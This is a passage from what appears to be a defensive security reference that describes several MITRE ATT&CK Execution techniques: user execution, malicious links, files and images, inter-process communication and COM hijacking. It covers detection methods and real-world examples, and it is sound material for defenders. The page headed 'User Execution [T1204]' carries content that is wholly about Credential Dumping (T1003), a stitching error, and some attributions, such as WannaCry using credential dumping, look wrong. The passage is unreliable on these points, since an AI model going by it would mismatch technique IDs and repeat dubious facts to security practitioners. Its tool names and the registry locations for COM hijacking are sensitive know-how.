  * Delivered via phishing emails targeting financial institutions and enterprises
  * Impact: Financial fraud, credential theft, significant financial losses
* **WannaCry Ransomware (2017)**:
  * Exploited EternalBlue vulnerability (CVE-2017-0144) in Windows SMB protocol
  * Although primarily exploiting server-side vulnerabilities, client-side infections occurred through malicious documents and links
  * Impact: Massive global disruption, affecting hospitals, enterprises, and government agencies worldwide
* **Zero-Day Exploitation of Google Chrome (2021)**:
  * Attackers leveraged Chrome zero-day vulnerabilities (CVE-2021-21166, CVE-2021-21193) in targeted attacks
  * Exploits delivered via malicious web pages designed to execute arbitrary code on victim machines
  * Impact: Targeted espionage, unauthorized access to sensitive data, and persistent compromise of victim endpoints


# User Execution

User Execution \[T1204]

## Information

* Name: User Execution
* ID: T1204
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Sub-Technique: [T1204.002](/mitre/mitre/ta0002/t1204/t1204.002), [T1204.003](/mitre/mitre/ta0002/t1204/t1204.003), [T1204.001](/mitre/mitre/ta0002/t1204/t1204.001)

## Introduction

Credential Dumping (MITRE ATT\&CK ID: T1003) refers to techniques used by adversaries to obtain account login and password information from a compromised system. Attackers utilize credential dumping to escalate privileges, move laterally within a network, and maintain persistent access. This technique is crucial for attackers because valid credentials often allow them to blend in with legitimate user activity, making detection challenging.

## Deep Dive Into Technique

Credential dumping involves extracting authentication credentials from various sources within operating systems or applications. Attackers typically utilize specialized tools, scripts, or built-in system utilities to perform credential extraction. The most commonly targeted credential storage locations include:

* **Memory (RAM)**:
  * Credentials temporarily stored in memory, such as plaintext passwords, hashes, or Kerberos tickets.
  * Tools like Mimikatz, WCE (Windows Credential Editor), and ProcDump can extract credentials directly from memory.
* **Local Security Authority Subsystem Service (LSASS)**:
  * Windows LSASS.exe process stores user credentials in memory during interactive logins.
  * Attackers use tools like Mimikatz, ProcDump, or Task Manager to dump LSASS memory and extract credentials offline.
* **Windows Registry and SAM Database**:
  * Windows Security Account Manager (SAM) database stores local account password hashes.
  * Attackers can leverage tools such as reg.exe, regedit, or specialized scripts to extract and crack these hashes.
* **NTDS.dit (Active Directory Database)**:
  * Stores domain user credentials and password hashes.
  * Attackers extract this file from domain controllers using tools such as Ntdsutil.exe, Volume Shadow Copy Services (VSS), or invoke-DCsync attacks via Mimikatz.
* **Credential Manager and Browser Storage**:
  * Credentials cached by web browsers or Windows Credential Manager.
  * Attackers use scripts or tools like LaZagne or SharpWeb to extract stored credentials.

Credential dumping techniques include:

* **Memory Dumping**: Extracting credentials directly from volatile memory.
* **Offline Credential Extraction**: Copying credential storage files (SAM, NTDS.dit) offline for cracking.
* **Credential Injection**: Using extracted hashes or tickets in pass-the-hash or pass-the-ticket attacks.
* **Registry Extraction**: Reading credential data directly from registry hives.

## When this Technique is Usually Used

Credential dumping appears frequently across multiple stages and scenarios in cyber attacks, including:

* **Initial Access and Privilege Escalation**:
  * Attackers perform credential dumping immediately after initial compromise to escalate privileges and gain administrative access.
* **Lateral Movement**:
  * Credential dumping provides attackers with valid credentials to move laterally within the network without raising suspicion.
* **Persistence and Defense Evasion**:
  * Attackers maintain persistent access by reusing credentials extracted during earlier stages.
* **Reconnaissance and Data Collection**:
  * Attackers collect credentials to map user roles, privileges, and sensitive resources within the environment.
* **Exfiltration and Impact**:
  * Credential dumping enables attackers to access sensitive information, intellectual property, or critical systems, facilitating data theft or destructive actions.

## How this Technique is Usually Detected

Multiple methods and tools can detect credential dumping, including:

* **Endpoint Detection and Response (EDR)**:
  * Tools such as CrowdStrike Falcon, Carbon Black, SentinelOne, and Microsoft Defender ATP monitor suspicious memory access, LSASS dumping, and anomalous process behaviors.
* **Behavioral Analytics and SIEM Solutions**:
  * Security Information and Event Management (SIEM) tools like Splunk, QRadar, and Elastic Security detect abnormal logon patterns, suspicious process executions, and registry access.
* **Monitoring LSASS Memory Access**:
  * Detection of abnormal LSASS process memory reads or memory dumps (e.g., via Sysmon event ID 10).
* **Audit and Event Logs**:
  * Monitoring Windows Security event logs (Event ID 4624, 4672, 4688) for suspicious logins, privilege escalations, and unexpected process executions.
* **Network Traffic Analysis**:
  * Detection of anomalous Kerberos ticket requests, NTLM authentications, or abnormal SMB traffic patterns.

Indicators of Compromise (IoCs) include:

* Unusual processes accessing LSASS.exe memory.
* Presence of dumped memory files (e.g., lsass.dmp).
* Suspicious registry hive exports (SAM, SECURITY, SYSTEM).
* Execution of known credential dumping tools (Mimikatz, LaZagne, WCE).
* Abnormal account logins, unusual administrative activity, or anomalous lateral movements.

## Why it is Important to Detect This Technique

Early detection of credential dumping is crucial due to the severe consequences and wide-ranging impacts on systems and networks, including:

* **Privilege Escalation**:
  * Attackers gain administrative privileges, enabling full control over systems and data.
* **Lateral Movement**:
  * Compromised credentials allow attackers to move undetected across the network, accessing sensitive data and resources.
* **Persistence and Long-term Compromise**:
  * Attackers leverage stolen credentials to maintain persistent access, complicating remediation efforts.
* **Data Theft and Exfiltration**:
  * Credential dumping can directly lead to unauthorized access to sensitive information, intellectual property, and trade secrets.
* **Operational Disruption and Damage**:
  * Attackers with administrative credentials can disrupt critical systems, deploy ransomware, or cause system outages.
* **Reduced Detection Visibility**:
  * Legitimate credentials allow attackers to blend into normal user activity, making detection significantly harder.

## Examples

Real-world examples illustrating credential dumping include:

* **NotPetya (2017)**:
  * Malware leveraged credential dumping techniques via Mimikatz to extract credentials from LSASS memory, enabling rapid lateral movement across networks, causing widespread operational disruptions and financial losses.
* **WannaCry (2017)**:
  * Ransomware used credential dumping to harvest credentials from compromised hosts, facilitating lateral propagation throughout networks, impacting healthcare, financial, and government institutions globally.
* **APT29 (Cozy Bear)**:
  * Russian state-sponsored attackers utilized credential dumping to obtain administrative credentials, enabling persistent access and lateral movement within targeted organizations, including government agencies.
* **Ryuk Ransomware**:
  * Attackers employed credential dumping via Mimikatz and other tools to obtain domain administrator credentials, enabling widespread encryption of critical systems and data exfiltration.
* **FIN6 Cybercrime Group**:
  * Attackers targeted retail and financial institutions, performing credential dumping to escalate privileges and move laterally, ultimately stealing payment card data and financial information.

Commonly used tools and techniques within these attacks include:

* **Mimikatz**:
  * Widely used to dump credentials from memory, LSASS, and domain controllers.
* **ProcDump and Task Manager**:
  * Legitimate system utilities leveraged to dump LSASS memory for offline credential extraction.
* **Invoke-DCsync (Mimikatz)**:
  * Technique used to remotely extract credentials from Active Directory domain controllers without direct access.
* **LaZagne and SharpWeb**:
  * Tools specifically designed to extract stored passwords from browsers, email clients, and credential managers.

The impacts of these attacks include substantial financial losses, operational disruptions, reputational damage, intellectual property theft, and significant remediation efforts.


# Malicious Link

Malicious Link \[T1204.001]

## Information

* Name: Malicious Link
* ID: T1204.001
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1204](/mitre/mitre/ta0002/t1204)

## Introduction

Malicious Link \[T1204.001] is a sub-technique under the User Execution (T1204) category of the MITRE ATT\&CK framework. It involves adversaries crafting and sending malicious hyperlinks to deceive users into executing harmful actions or downloading malicious payloads. These links typically appear legitimate and trustworthy, enticing users to click and inadvertently compromise their systems. This sub-technique leverages social engineering tactics, exploiting user trust and curiosity to initiate malicious activities.

## Deep Dive Into Technique

Malicious Link \[T1204.001] primarily exploits user trust through carefully crafted hyperlinks embedded in emails, instant messages, social media posts, or websites. Attackers utilize various technical and psychological methods to ensure successful execution:

* **URL Obfuscation and Shortening:**
  * Attackers frequently use URL shorteners (e.g., bit.ly, tinyurl.com) to disguise malicious destinations.
  * Obfuscation techniques include URL encoding, character substitution, and use of visually similar characters to legitimate domains (homograph attacks).
* **Phishing and Spear Phishing:**
  * Malicious links are embedded within highly targeted emails that impersonate legitimate entities, increasing the likelihood of user interaction.
  * Emails often contain urgent or enticing messages prompting immediate action.
* **Drive-by Downloads:**
  * Users clicking malicious links may inadvertently trigger automatic downloads of malware or redirect to exploit kits hosted on compromised websites.
* **Redirect Chains:**
  * Attackers may employ multiple redirections to obscure the origin and final destination of malicious content, complicating detection and analysis.
* **Social Media and Messaging Platforms:**
  * Attackers exploit trusted relationships by sharing malicious links through compromised social media accounts or messaging platforms, increasing the perceived legitimacy of the links.

## When this Technique is Usually Used

Malicious Link \[T1204.001] is commonly employed across multiple stages and scenarios of cyber-attacks, including:

* **Initial Access:**
  * Attackers frequently utilize malicious links as a primary vector for gaining initial footholds into targeted environments.
* **Credential Harvesting:**
  * Links often direct users to fake login portals designed to capture sensitive credentials for further exploitation.
* **Malware Delivery:**
  * Malicious hyperlinks serve as vehicles for delivering malware payloads, such as ransomware, remote access trojans (RATs), spyware, or banking trojans.
* **Reconnaissance and Information Gathering:**
  * Attackers use malicious links to redirect users to sites that silently collect system or user information, aiding subsequent attack phases.
* **Exploitation of Trust:**
  * Malicious links are heavily leveraged in attacks targeting specific individuals or organizations (e.g., spear phishing campaigns), exploiting trusted relationships and contexts.

## How this Technique is Usually Detected

Effective detection of Malicious Link \[T1204.001] involves a combination of technical tools, processes, and user education, including:

* **Email Security Gateways:**
  * Tools that scan incoming emails for known malicious URLs, suspicious links, and phishing indicators.
  * Examples include Proofpoint, Mimecast, Cisco Email Security, and Microsoft Defender for Office 365.
* **Web Proxy and URL Filtering Solutions:**
  * Solutions that monitor, block, or alert on suspicious or known malicious URLs accessed by users.
  * Examples include Cisco Umbrella, Zscaler, Forcepoint, and Palo Alto URL Filtering.
* **Endpoint Protection Platforms (EPP) and Endpoint Detection and Response (EDR):**
  * Solutions that monitor endpoint behaviors, detect malicious activities initiated via malicious links, and alert security teams.
  * Examples include CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint.
* **Security Information and Event Management (SIEM):**
  * Centralized log analysis to detect patterns or anomalies indicative of malicious link usage, such as unusual web traffic or suspicious downloads.
* **Indicators of Compromise (IoCs):**
  * Suspicious or known malicious domain names and IP addresses.
  * URL patterns indicative of URL obfuscation or redirection chains.
  * Known malicious shortlink providers or redirect services.
* **User Reporting and Awareness Training:**
  * Encouraging users to report suspicious emails or links, enabling security teams to proactively investigate potential threats.

## Why it is Important to Detect This Technique

Timely detection and prevention of Malicious Link \[T1204.001] is crucial due to the severe impacts it can have on organizations and individuals:

* **Initial Compromise and Malware Infection:**
  * Clicking malicious links can lead directly to malware installation, enabling attackers to gain footholds within systems or networks.
* **Credential Theft and Identity Fraud:**
  * Users may unknowingly provide sensitive credentials on fraudulent websites, leading to unauthorized access, data breaches, and identity fraud.
* **Financial Loss and Ransomware Attacks:**
  * Malicious link-driven attacks frequently result in ransomware infections, causing significant operational disruption and financial losses.
* **Data Exfiltration:**
  * Attackers may leverage malicious links to install spyware or other data-stealing malware, leading to sensitive data exfiltration and compliance violations.
* **Reputation Damage:**
  * Successful phishing attacks leveraging malicious links can severely damage organizational reputation, negatively impacting customer trust and market position.

Early detection and mitigation significantly reduce these risks, minimizing the potential damage and recovery costs associated with malicious link-based attacks.

## Examples

Real-world examples highlighting the usage and impact of Malicious Link \[T1204.001]:

* **Emotet Malware Campaigns:**
  * Attackers delivered Emotet malware via malicious URLs embedded in phishing emails disguised as invoices or shipping notifications.
  * Impact: Widespread credential theft, malware infections, and lateral movement within corporate networks.
* **Credential Harvesting Attacks (Office 365 Phishing):**
  * Attackers sent targeted phishing emails containing malicious hyperlinks directing users to fake Office 365 login portals.
  * Impact: Unauthorized access to corporate email accounts, data breaches, and subsequent business email compromise (BEC) attacks.
* **APT29 (Cozy Bear) Spear Phishing Campaigns:**
  * Malicious links embedded in targeted spear phishing emails to redirect victims to compromised websites hosting exploit kits or fake login pages.
  * Impact: Espionage activities, data exfiltration, and persistent access within targeted governmental and private organizations.
* **COVID-19 Themed Malicious Links:**
  * Cybercriminals exploited global pandemic anxiety by disseminating malicious links promising COVID-19 updates or relief packages.
  * Impact: Mass malware infections, credential theft, and financial fraud against individuals and organizations.
* **Social Media-Based Attacks:**
  * Attackers compromised legitimate social media accounts and distributed malicious links to trusted contacts, increasing attack success rates.
  * Impact: Personal account compromises, identity theft, and financial loss due to fraudulent activities.

These examples emphasize the widespread use, versatility, and significant impacts associated with Malicious Link \[T1204.001], underscoring the importance of proactive detection and mitigation strategies.


# Malicious File

Malicious File \[T1204.002]

## Information

* Name: Malicious File
* ID: T1204.002
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1204](/mitre/mitre/ta0002/t1204)

## Introduction

Malicious File \[T1204.002] is a sub-technique within the MITRE ATT\&CK framework under the parent technique "User Execution." This sub-technique involves adversaries delivering malicious files directly to users, often through email attachments, web downloads, or removable media. Once opened or executed by the victim, these files initiate unauthorized actions, including malware installation, privilege escalation, or lateral movement across the network. Malicious files can come in multiple forms, such as executables, scripts, macro-enabled documents, or compressed archives containing malware payloads.

## Deep Dive Into Technique

Malicious File \[T1204.002] relies on user interaction to execute the delivered malicious payload. Attackers typically leverage social engineering tactics to convince users to open or run the malicious file. Technical details of execution methods and mechanisms include:

* **File Types and Formats:**
  * Executable files (.exe, .msi, .dll)
  * Script files (.bat, .vbs, .ps1, .sh, .js)
  * Documents with macros (Microsoft Office documents like .docm, .xlsm, .pptm)
  * PDF files with embedded scripts or exploits
  * Compressed archives (.zip, .rar, .7z) containing malicious payloads
* **Delivery Mechanisms:**
  * Phishing emails with malicious attachments
  * Malicious links directing users to compromised or attacker-controlled websites
  * Drive-by downloads initiated from compromised legitimate websites
  * Removable media (USB drives, external storage devices)
  * File-sharing services or cloud storage platforms
* **Execution Methods:**
  * User directly opening or executing the file
  * Automatic execution through macros or embedded scripts upon opening documents
  * Exploitation of vulnerabilities in software applications triggered by opening malicious files
  * Use of legitimate system utilities to execute malicious payloads, leveraging techniques such as Living-off-the-Land (LotL)
* **Real-world Procedures:**
  * Embedding malware within seemingly legitimate files, such as invoices, resumes, shipping notifications, or financial documents
  * Obfuscating malicious code within macros or scripts to evade detection
  * Utilizing file extensions that mimic legitimate file types (e.g., "invoice.pdf.exe")
  * Employing double extensions or Unicode characters to disguise executable files
  * Leveraging vulnerabilities in common software (e.g., Adobe Reader, Microsoft Office) to trigger payload execution without explicit user consent

## When this Technique is Usually Used

This sub-technique is prevalent across multiple attack scenarios and stages, including:

* **Initial Access:**
  * Attackers commonly use malicious files in phishing campaigns to gain initial foothold within targeted organizations.
  * Malicious email attachments are frequently employed to deliver initial malware payloads.
* **Execution:**
  * Malicious files are executed by users, directly enabling attackers to run arbitrary code on compromised systems.
* **Privilege Escalation and Persistence:**
  * Attackers may deliver files containing scripts or executables designed to escalate privileges or establish persistence mechanisms.
* **Lateral Movement:**
  * Malicious files can be distributed internally within a compromised network via shared drives, network shares, or internal email systems to propagate malware infections.
* **Collection and Exfiltration:**
  * Attackers may use malicious files to deploy tools for data collection, credential harvesting, or data exfiltration.

## How this Technique is Usually Detected

Detection of Malicious File \[T1204.002] involves multiple methods, tools, and indicators:

* **Endpoint Detection and Response (EDR) Tools:**
  * Monitoring execution of suspicious executables or scripts
  * Identifying unusual processes or abnormal process trees
  * Detecting malicious macro execution or script execution from documents
* **Email Security Solutions:**
  * Scanning email attachments for malicious payloads
  * Identifying known malicious file hashes or signatures
  * Analyzing attachments with sandboxing techniques to detect malicious behaviors
* **Network Monitoring and Intrusion Detection Systems (IDS):**
  * Detecting downloads of malicious files from known malicious domains or IP addresses
  * Identifying unusual file transfer activities within internal networks
* **Sandbox Analysis:**
  * Executing suspicious files in controlled environments to observe malicious behaviors
  * Analyzing file behaviors such as process creation, registry modifications, file system changes, and network connections
* **File Integrity Monitoring (FIM):**
  * Monitoring critical system directories for unauthorized file modifications or additions
* **Specific Indicators of Compromise (IoCs):**
  * Known malicious file hashes (MD5, SHA1, SHA256)
  * Suspicious file extensions or double extensions (e.g., ".pdf.exe", ".doc.js")
  * Unusual file metadata or digital signatures
  * Suspicious macro content or obfuscated scripts within documents
  * Embedded payloads identified through static or dynamic file analysis

## Why it is Important to Detect This Technique

Early detection of Malicious File \[T1204.002] is crucial due to the significant impacts it can have on systems and networks, including:

* **Malware Infection and Propagation:**
  * Malicious files commonly deliver ransomware, spyware, remote access trojans (RATs), or other malware variants that can rapidly propagate within an organization.
* **Data Breaches and Exfiltration:**
  * Malicious files often facilitate unauthorized access, data theft, or sensitive information exfiltration, leading to significant financial and reputational damage.
* **Operational Disruption:**
  * Malware delivered through malicious files can disrupt critical business operations, impacting productivity and availability of essential services.
* **Privilege Escalation and Persistence:**
  * Malicious files can enable attackers to escalate privileges, establish persistent backdoors, and maintain long-term unauthorized access to compromised systems.
* **Compliance and Regulatory Risks:**
  * Failure to detect and mitigate malicious file-based attacks can result in regulatory penalties, compliance violations, and legal consequences.

Early detection enables timely containment and remediation, reducing the overall impact and cost associated with malicious file-based attacks.

## Examples

Real-world examples of Malicious File \[T1204.002] include:

* **Emotet Malware Campaigns:**
  * Attackers delivered malicious macro-enabled Microsoft Word documents via phishing emails.
  * Upon opening, macros executed PowerShell scripts to download and execute Emotet malware, leading to credential theft, lateral movement, and further malware infections.
* **TrickBot Banking Trojan:**
  * Malicious files delivered as fake invoices or financial documents containing macros or embedded scripts.
  * Execution resulted in installation of TrickBot malware, enabling credential harvesting, lateral spread, and ransomware deployment.
* **Ryuk Ransomware Attacks:**
  * Attackers used malicious files disguised as legitimate business communications (e.g., invoices, purchase orders).
  * Files executed scripts or macros that downloaded and installed Ryuk ransomware, resulting in extensive data encryption and operational disruption.
* **COVID-19 Themed Phishing Campaigns:**
  * Attackers exploited global events by delivering malicious files disguised as health advisories, safety guidelines, or government notifications.
  * Malicious attachments executed scripts or macros, installing backdoors or credential-stealing malware.
* **APT29 (Cozy Bear) Campaign:**
  * Malicious files delivered via spear-phishing emails containing weaponized documents with embedded exploits.
  * Opening these files triggered vulnerabilities in software applications, enabling remote code execution, espionage activities, and data exfiltration.

In each example, attackers leveraged malicious files to gain initial access, execute unauthorized actions, and achieve their objectives, underscoring the importance of robust detection and prevention strategies.


# Malicious Image

Malicious Image \[T1204.003]

## Information

* Name: Malicious Image
* ID: T1204.003
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1204](/mitre/mitre/ta0002/t1204)

## Introduction

Malicious Image ([T1204.003](https://attack.mitre.org/techniques/T1204/003/)) is a sub-technique within the MITRE ATT\&CK framework under the broader category of User Execution (T1204). This technique involves embedding malicious code or payloads within image files to deceive users or systems into executing harmful content. Attackers leverage image files due to their perceived innocuous nature, increasing the likelihood of bypassing traditional security defenses. Malicious images can be delivered via email attachments, web downloads, or messaging applications, exploiting user trust and curiosity to initiate unauthorized actions or compromise systems.

## Deep Dive Into Technique

This sub-technique primarily involves hiding executable payloads or scripts within seemingly benign image files. Attackers typically rely on the following technical methods and mechanisms:

* **Steganography**: Embedding malicious payloads within digital images using steganographic techniques to conceal executable code or scripts.
  * Payloads can be hidden within image metadata, pixel data, or appended to the end of legitimate image files.
  * Common image formats used include PNG, JPG, GIF, and BMP.
* **Polyglot Files**: Creating files that are valid both as images and executables or scripts.
  * Attackers manipulate file headers and structure to ensure the malicious file can be opened as an image but executed as code when triggered by specific methods.
* **Exploitation of Image Processing Libraries**: Targeting vulnerabilities within image rendering libraries or software to execute malicious payloads upon image viewing or parsing.
  * Commonly exploited libraries include those used in web browsers, email clients, PDF readers, and image viewers.
* **Social Engineering**: Leveraging user trust and curiosity to encourage opening or downloading malicious images.
  * Attackers craft convincing phishing emails, instant messages, or social media posts containing malicious images.
* **Execution Methods**:
  * Direct execution via exploitation of vulnerable software.
  * Extraction and execution of payloads using scripts or macros embedded in documents or web pages referencing malicious images.
  * Automated execution triggered by vulnerable image-processing software.

## When this Technique is Usually Used

Attackers typically employ malicious images during various stages of cyber-attacks, including:

* **Initial Access**:
  * Delivering malicious images via phishing emails or compromised websites to gain initial foothold.
  * Social engineering campaigns targeting specific individuals or organizations.
* **Execution Stage**:
  * Exploiting image-processing vulnerabilities to execute payloads on targeted systems automatically.
  * Triggering payload execution through user interaction with crafted images.
* **Persistence and Command & Control (C2)**:
  * Embedding payloads or configuration data within images to evade detection and maintain long-term access.
  * Using steganographic techniques to hide C2 communication within seemingly benign image transfers.
* **Data Exfiltration**:
  * Concealing stolen information within images to bypass data loss prevention (DLP) solutions and network monitoring tools.

## How this Technique is Usually Detected

Detection of malicious images involves multiple layers of defense, including:

* **File Analysis and Integrity Checks**:
  * Monitoring for unusual image file sizes, structures, or anomalies in image metadata.
  * Implementing hash comparisons against known malicious images or polyglot files.
* **Behavioral Analysis and Sandboxing**:
  * Executing suspicious images in sandbox environments to detect anomalous behaviors or exploitation attempts.
  * Monitoring image-processing software behavior for unexpected execution patterns or memory corruption attempts.
* **Network Traffic Analysis**:
  * Identifying unusual or encrypted communication patterns associated with image file transfers.
  * Detecting steganographic C2 channels hidden within image file transfers.
* **Endpoint Detection and Response (EDR)**:
  * Analyzing endpoint logs and process behaviors related to image rendering or opening applications.
  * Monitoring for unusual process executions or memory injections triggered by image files.
* **Indicators of Compromise (IoCs)**:
  * Suspicious image files with abnormal headers, metadata, or appended data.
  * Known malicious image hashes or signatures.
  * Unusual outbound network traffic correlated with image file access or processing.
  * Specific software vulnerabilities exploited by malicious images (e.g., CVE identifiers related to image-processing libraries).

## Why it is Important to Detect This Technique

Early detection and prevention of malicious images is critical due to the following potential impacts:

* **Initial Compromise and Unauthorized Access**:
  * Successful exploitation can result in unauthorized access, initial foothold, and subsequent lateral movement within a network.
* **Stealth and Detection Evasion**:
  * Malicious images often evade traditional antivirus and signature-based detection methods due to their benign appearance and advanced concealment techniques.
* **Data Exfiltration Risks**:
  * Attackers can exfiltrate sensitive information discreetly through images, bypassing traditional DLP and network monitoring solutions.
* **Persistence and Long-Term Threats**:
  * Malicious images can facilitate persistent backdoors and hidden communication channels, enabling long-term attacker presence within compromised environments.
* **Reputation and Financial Damage**:
  * Organizations compromised through malicious images may suffer significant reputational harm, financial losses, and regulatory penalties due to data breaches or unauthorized disclosures.

Detecting this technique proactively helps organizations mitigate these risks, reduce attack surface, and maintain robust cybersecurity posture.

## Examples

Real-world examples demonstrating the use of malicious images include:

* **LokiBot Malware Campaign**:
  * Attackers utilized steganography to hide malicious payloads within PNG image files.
  * Victims received phishing emails containing malicious documents referencing these images.
  * Upon opening, embedded macros extracted and executed the payload hidden within images, resulting in credential theft and system compromise.
* **OceanLotus (APT32) Attacks**:
  * Advanced Persistent Threat (APT) group OceanLotus leveraged steganographic techniques to hide payloads within benign-looking images.
  * Images delivered via spear-phishing emails targeted Southeast Asian organizations, exploiting vulnerabilities in image-processing software to achieve initial access.
* **Magecart Payment Card Skimming**:
  * Attackers embedded malicious JavaScript code within image metadata on compromised e-commerce websites.
  * When visitors loaded the compromised images, scripts extracted from metadata executed, harvesting sensitive payment card information.
* **Stegano Exploit Kit**:
  * Exploit kit used malicious advertisements containing PNG images with hidden JavaScript payloads.
  * Victims visiting compromised websites unknowingly executed hidden scripts, resulting in malware infections and unauthorized access.

These examples highlight the diversity and effectiveness of malicious image attacks across different industries, attack vectors, and threat actor types.


# Inter-Process Communication

Inter-Process Communication \[T1559]

## Information

* Name: Inter-Process Communication
* ID: T1559
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Sub-Technique: [T1559.002](/mitre/mitre/ta0002/t1559/t1559.002), [T1559.001](/mitre/mitre/ta0002/t1559/t1559.001), [T1559.003](/mitre/mitre/ta0002/t1559/t1559.003)

## Introduction

Inter-Process Communication (IPC), as defined in the MITRE ATT\&CK framework (Technique ID: T1559), refers to adversaries abusing mechanisms designed for communication between processes to execute malicious activities. IPC enables processes to exchange data and synchronize their actions, often through shared memory, named pipes, sockets, message queues, or other OS-provided methods. Attackers exploit IPC mechanisms to evade detection, escalate privileges, or maintain persistence while blending in with legitimate system operations.

## Deep Dive Into Technique

Inter-Process Communication is fundamental to modern operating systems, facilitating data exchange and synchronization between processes. Attackers exploit IPC mechanisms by leveraging legitimate OS functionalities, making detection challenging.

Common IPC mechanisms exploited include:

* **Named Pipes:**
  * Attackers create or hijack existing named pipes to communicate between malware components or compromised processes.
  * Named pipes can facilitate lateral movement, privilege escalation, or data exfiltration, often bypassing traditional detection methods.
* **Sockets:**
  * Local sockets (Unix domain sockets, Windows sockets) allow attackers to perform covert communications between malicious processes on the same host.
  * Attackers can create hidden sockets to tunnel data, evade network-based monitoring, or transmit commands.
* **Shared Memory:**
  * Attackers use shared memory segments to transfer data or inject malicious payloads directly into legitimate processes.
  * Shared memory can be leveraged to evade traditional file-based detection mechanisms.
* **Message Queues and Mail Slots:**
  * Attackers may misuse message queues or mail slots to facilitate asynchronous communication between processes, enabling stealthy command-and-control (C2) channels on compromised hosts.

Technical execution methods include:

* Injecting malicious payloads into legitimate processes via IPC mechanisms (e.g., process injection through shared memory).
* Leveraging legitimate IPC channels to communicate between malware components, reducing suspicious network traffic.
* Hijacking existing IPC endpoints to blend malicious activities with normal system operations.

Real-world procedures observed include:

* Malware families such as Cobalt Strike and Metasploit leveraging named pipes for lateral movement and command execution.
* Advanced Persistent Threat (APT) groups utilizing sockets and shared memory to evade detection during espionage campaigns.

## When this Technique is Usually Used

Attackers utilize IPC mechanisms across multiple attack stages and scenarios, including:

* **Privilege Escalation:**
  * Exploiting IPC channels to inject payloads into higher-privileged processes, escalating attacker privileges.
* **Defense Evasion:**
  * Using IPC to bypass file-based detection, antivirus solutions, and endpoint monitoring tools by avoiding writing malicious payloads to disk.
* **Lateral Movement:**
  * Leveraging named pipes and sockets to communicate between compromised hosts or processes within the network, facilitating lateral movement without generating network alerts.
* **Command and Control (C2):**
  * Establishing covert communication channels between malware components or compromised processes within the same host, reducing external network visibility.
* **Persistence:**
  * Maintaining persistent communication channels between malicious processes and legitimate system services to ensure long-term access.

## How this Technique is Usually Detected

Detecting malicious IPC use requires specialized monitoring and analysis techniques, including:

* **Endpoint Detection and Response (EDR) Tools:**
  * Monitoring process interactions and IPC activities at the system level.
  * Detecting anomalous named pipe creations, socket connections, or shared memory segments.
* **Sysmon and OS-Level Logging:**
  * Utilizing tools such as Sysinternals Sysmon to log named pipe events, socket creations, and shared memory operations.
  * Analyzing logs for suspicious IPC endpoint names or unusual process interactions.
* **Behavioral Analysis and Anomaly Detection:**
  * Establishing baseline IPC activity patterns and alerting on deviations or uncommon IPC usage scenarios.
* **Memory Forensics:**
  * Analyzing memory dumps to detect injected payloads or anomalous shared memory segments.

Indicators of Compromise (IoCs) specific to IPC abuse include:

* Suspicious or randomly named IPC endpoints (named pipes, sockets, shared memory segments).
* Unexpected IPC communications between unrelated processes.
* Anomalous process injection events correlated with IPC activities.
* Known malicious IPC endpoint names associated with tools like Cobalt Strike or Metasploit.

## Why it is Important to Detect This Technique

Early detection of malicious IPC usage is critical due to significant potential impacts on systems and networks, including:

* **Privilege Escalation:**
  * Attackers leveraging IPC to inject payloads into privileged processes, leading to unauthorized administrative access.
* **Persistence and Stealth:**
  * IPC allows attackers to maintain covert, persistent communication channels, making detection and remediation challenging.
* **Defense Evasion:**
  * IPC abuse bypasses traditional file-based antivirus and endpoint security tools, enabling attackers to operate undetected for extended periods.
* **Lateral Movement Facilitation:**
  * Attackers use IPC mechanisms such as named pipes and sockets to move laterally within networks quietly, increasing the scale and severity of breaches.
* **Data Exfiltration and Espionage:**
  * Malicious IPC channels can facilitate stealthy data exfiltration or espionage activities, resulting in significant data loss or compromise of sensitive information.

Detecting IPC misuse early enables rapid containment, reduces the severity of breaches, and limits attackers' ability to escalate privileges or maintain persistence.

## Examples

Real-world examples of IPC abuse in cyberattacks include:

* **Cobalt Strike Framework:**
  * Attack Scenario:
    * Utilizes named pipes to facilitate lateral movement and command execution between compromised hosts.
  * Tools Used:
    * Cobalt Strike beacon payloads communicating via named pipes.
  * Impacts:
    * Successful lateral movement, privilege escalation, and persistent access within enterprise networks.
* **Metasploit Framework:**
  * Attack Scenario:
    * Employs named pipes and sockets for local communication between payloads and compromised processes.
  * Tools Used:
    * Metasploit Meterpreter payloads leveraging IPC for stealthy communication.
  * Impacts:
    * Persistent remote access, evasion of endpoint detection tools, and covert lateral movement.
* **Duqu Malware:**
  * Attack Scenario:
    * Utilizes shared memory segments for process injection and stealthy communication between malware components.
  * Tools Used:
    * Custom malware payloads exploiting shared memory IPC.
  * Impacts:
    * Espionage activities, persistent access, and defense evasion in targeted cyberattacks.
* **APT28 (Fancy Bear):**
  * Attack Scenario:
    * Uses named pipes and sockets to facilitate stealthy command-and-control operations within compromised systems.
  * Tools Used:
    * Custom implants leveraging IPC mechanisms for covert communication.
  * Impacts:
    * Persistent espionage capabilities, lateral movement facilitation, and evasion of traditional detection mechanisms.


# Component Object Model

Component Object Model \[T1559.001]

## Information

* Name: Component Object Model
* ID: T1559.001
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1559](/mitre/mitre/ta0002/t1559)

## Introduction

Component Object Model (COM) Hijacking, identified as sub-technique T1559.001 in the MITRE ATT\&CK framework, involves adversaries manipulating COM objects in Windows environments to achieve persistence, privilege escalation, or defense evasion. COM objects are designed by Microsoft to facilitate inter-process communication and dynamic object creation, making them attractive targets for attackers seeking stealthy and persistent footholds in compromised systems.

## Deep Dive Into Technique

COM is a binary-interface standard that allows software components to interact seamlessly across processes and applications. COM objects are identified by globally unique identifiers (GUIDs), stored within the Windows registry, and associated with executable code (DLLs or executables). COM Hijacking occurs when attackers exploit the COM object registration mechanism to redirect legitimate COM references to malicious payloads.

Technical details include:

* **Registry Manipulation**: Attackers modify the registry keys associated with COM objects, particularly under `HKEY_CLASSES_ROOT\CLSID\{GUID}\InprocServer32` or `LocalServer32`, redirecting them to malicious DLLs or executables.
* **DLL Proxying**: Attackers can replace legitimate COM DLLs with malicious ones, while forwarding legitimate requests to the original DLL to avoid detection.
* **COM Object Creation Hijacking**: Attackers intercept COM object instantiation requests, redirecting them to malicious code execution.
